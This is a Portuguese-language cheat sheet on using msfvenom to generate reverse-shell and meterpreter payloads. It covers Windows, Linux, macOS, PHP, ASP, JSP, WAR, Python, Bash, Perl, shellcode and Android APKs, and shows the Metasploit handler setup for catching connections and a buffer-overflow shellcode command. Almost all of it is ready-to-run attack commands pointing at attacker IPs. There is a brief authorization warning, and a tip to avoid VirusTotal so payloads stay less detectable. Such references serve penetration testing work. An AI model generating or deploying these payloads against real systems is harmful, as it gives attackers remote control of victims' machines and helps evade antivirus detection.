Pular para o conteúdo principal

msfvenom

O msfvenom é uma poderosa ferramenta utilizada para criar exploits e gerar payloads para diferentes sistemas operacionais e arquiteturas. É uma parte essencial do Metasploit Framework, uma plataforma de testes de penetração de código aberto.

Aviso Importante

Ao usar o msfvenom para criar payloads maliciosos, é crucial garantir que você tenha autorização explícita para realizar tais testes em sistemas e redes. O uso indevido dessas técnicas é ilegal e pode resultar em sérias consequências legais.

Testando Payloads

Antes de executar os payloads gerados, é altamente recomendado testá-los em um ambiente controlado. Uma maneira de fazer isso é enviando o arquivo para o site VirusTotal, porém, tenha cuidado, pois o envio para o VirusTotal pode atualizar a heurística de alguns antivírus, tornando os payloads mais detectáveis.

Listando Payloads Disponíveis

Para verificar todos os payloads disponíveis, execute o seguinte comando:

msfvenom --list payloads

Gerando Payloads para Diferentes Sistemas

Payload para Windows

msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.0.100 \
LPORT=443 \
-f exe > virus.exe

Payload para Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp \
LHOST=${IP} \
LPORT=${PORTA} \
-f elf > shell.elf

Payload para Mac

msfvenom -p osx/x86/shell_reverse_tcp \
LHOST=${IP} \
LPORT=${PORTA} \
-f macho > shell.macho

Payloads para Servidores WEB

Payload PHP

msfvenom -p php/meterpreter_reverse_tcp \
LHOST=${IP} \
LPORT=${PORTA} \
-f raw > shell.php

cat shell.php | pbcopy && \
echo '<?php ' | tr -d '\n' > shell.php && \
pbpaste >> shell.php
informação

pbcopy e pbpaste precisam ser instalados através do seguinte comando:

sudo apt-get install xclip

Payload ASP

msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=${IP} \
LPORT=${PORTA} \
-f asp > shell.asp

Payload JSP

msfvenom -p java/jsp_shell_reverse_tcp \
LHOST=${IP} \
LPORT=${PORTA} \
-f raw > shell.jsp

Payload WAR

msfvenom -p java/jsp_shell_reverse_tcp \
LHOST=${IP} \
LPORT=${PORTA} \
-f war > shell.war

Payloads Adicionais

Payload Python

msfvenom -p cmd/unix/reverse_python \
LHOST=${IP} \
LPORT=${PORTA} \
-f raw > shell.py

Payload Bash

msfvenom -p cmd/unix/reverse_bash \
LHOST=${IP} \
LPORT=${PORTA} \
-f raw > shell.sh

Payload Perl

msfvenom -p cmd/unix/reverse_perl \
LHOST=${IP} \
LPORT=${PORTA} \
-f raw > shell.pl

Shellcode

Para todos os códigos de shell, consulte msfvenom --list format para obter informações sobre parâmetros válidos. O msfvenom produzirá um código que pode ser recortado e colado nessa linguagem para suas explorações.

Linux Based Shellcode

msfvenom -p linux/x86/meterpreter/reverse_tcp \
LHOST=${IP} \
LPORT=${PORTA} \
-f ${FORMATO}

Windows Based Shellcode

msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=${IP} \
LPORT=${PORTA} \
-f ${FORMATO}

Mac Based Shellcode

msfvenom -p osx/x86/shell_reverse_tcp \
LHOST=${IP} \
LPORT=${PORTA} \
-f ${FORMATO}

Recebendo a Conexão do Alvo

Para receber a conexão do alvo, será necessário que o Metasploit esteja em execução. Para configurar o Metasploit para a conexão reversa, siga os seguintes passos:

  1. Execute o Metasploit:

    msfconsole
  2. No console do Metasploit, configure o exploit e as opções necessárias:

    msf > use exploit/multi/handler
    msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
    msf exploit(handler) > set LPORT 443
    msf exploit(handler) > set LHOST 192.168.0.100
    msf exploit(handler) > exploit

Criando um Exploit para Windows para Buffer Overflow (BoF)

msfvenom -p windows/shell_reverse_tcp \
LHOST=192.168.0.100 \
LPORT=443 \
-b "\x00\x0a\x0d\x20" \
EXITFUNC=thread \
-f python

Explicação dos parâmetros:

  • -p windows/shell_reverse_tcp: Tipo do exploit.
  • LHOST: IP de conexão reversa.
  • LPORT: Porta de conexão reversa.
  • -b "\x00\x0a\x0d\x20": Bad caracteres ou caracteres inválidos.
  • EXITFUNC=thread: Evita que a aplicação morra depois do exploit ser fechado.
informação

Os bad char em questão variam de aplicação para aplicação e de acordo com a sua validação, por exemplo, não é comum uma aplicação aceitar null byte (\x00).

A lista de caracteres ASCII e suas representações em outros bases, como por exemplo hexadecimal, pode ser encontrado nesse link: ASCII - Bad Chars.

Gerando Payload Binário para Sistema Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp \
lport=433 \
lhost=192.168.0.111 \
-f elf > malicioso

Esse tipo de payload é usado quando você já tem acesso à shell no dispositivo e necessita usar o meterpreter para auxiliar na pós-exploração.

Gerando Payload APK para Android

msfvenom -p android/meterpreter/reverse_tcp \
lport=433 \
lhost=192.168.0.111 \
R > malicioso.apk
informação

O parâmetro R indica que o arquivo será salvo em modo RAW. Essa abordagem é utilizada quando você já tem uma shell no dispositivo Android e necessita usar o meterpreter para auxiliar na pós-exploração.